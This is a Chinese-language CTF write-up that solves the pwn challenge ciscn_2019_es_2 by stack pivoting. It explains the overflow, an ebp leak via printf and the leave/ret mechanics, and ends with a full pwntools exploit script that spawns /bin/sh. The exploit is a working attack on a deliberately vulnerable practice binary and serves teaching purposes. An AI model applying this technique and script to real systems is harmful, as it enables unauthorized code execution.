pwn-ciscn_2019_es_2(栈迁移)

这道题用来做栈迁移的例题真是再合适不过了

 

查看防护

 

 main函数

 

 

存在hack函数,执行系统命令echo flag。没有binsh,需要自己写入

 

 

 

 vuln函数

 很明显是栈溢出,但是溢出的空间不足。read大小为0x30,s变量和ebp距离为0x28。只能覆盖ebp和ret。

因此使用栈迁移解决栈空间不足的问题。

 

 

 

把rop链写栈上,首先利用printf获取上个栈帧的ebp。printf遇到00就会截断,如果我们输入的内容正好把ebp前面的区域完全覆盖,

printf就会顺便把ebp带出来。

 

0x48-0x10等于s距ebp的偏移0x38

 

 第二次read写入rop

payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(ebp-0x38)+p32(leave_ret)

直接看payload晦涩难懂,所以我附上调试过程

 

栈迁移核心思想就是利用leave和ret转移ebp和esp。leave和ret常用于复原栈

leave=mov esp,ebp

pop ebp

ret=pop eip

 

红色箭头所指地址是执行leave之后的对应的ebp和esp

 

 可以看到结果确实如此。这时可能你会注意到一个问题,那就是ebp地址比esp地址小。这其实无伤大雅,

因为我们最终目的是通过esp控制eip。ebp只是用来间接定位,

 

执行ret后的结果

 

eip发生了跳转

 接下来执行的就是我们写入的leave_ret(用哪个函数里的leave_ret都行,我选择的是hack函数里的)

和前面的流程一样,我们直接看leave后的结果

 

 非常amazing啊,esp指向了我们写入的system,接下来的ret就会使eip指向system函数。

 

现在我们回过头看payload,就不难理解前面padding的aaaa的作用了。ebp-0x38指向aaaa的地址。aaaa实际就是leave_ret后的ebp指向地址的内容,

可以起到定位的作用。因为接下来我们输入的leave_ret会使esp等于ebp后面的地址,

而此时ebp后面的地址是system。之后就能getshell了

 

顺便一提,接收printf返回的ebp前要先recv前面read输入的内容

exp:

 1 #!/usr/bin/python
 2 from pwn import *
 3 
 4 #a=remote("node3.buuoj.cn",26501)
 5 a=process("ciscn_2019_es_2")
 6 context(arch='i386',os='linux',log_level='debug')
 7 
 8 sys=0x8048400
 9 leave_ret=0x08048562
10 
11 a.recvuntil("Welcome, my friend. What's your name?")
12 payload='a'*0x20+'b'*8
13 a.send(payload)
14 a.recvuntil("bbbbbbbb")
15 ebp=u32(a.recv(4))
16 print (hex(ebp))
17 payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"
18 payload2=payload2.ljust(0x28,'\x00')
19 payload2+=p32(ebp-0x38)+p32(leave_ret)
20 print (payload2)
21 #gdb.attach(a)
22 a.send(payload2)
23 
24 a.interactive()

 

posted @ 2020-08-15 00:43  remon535  阅读(3109)  评论(4编辑  收藏  举报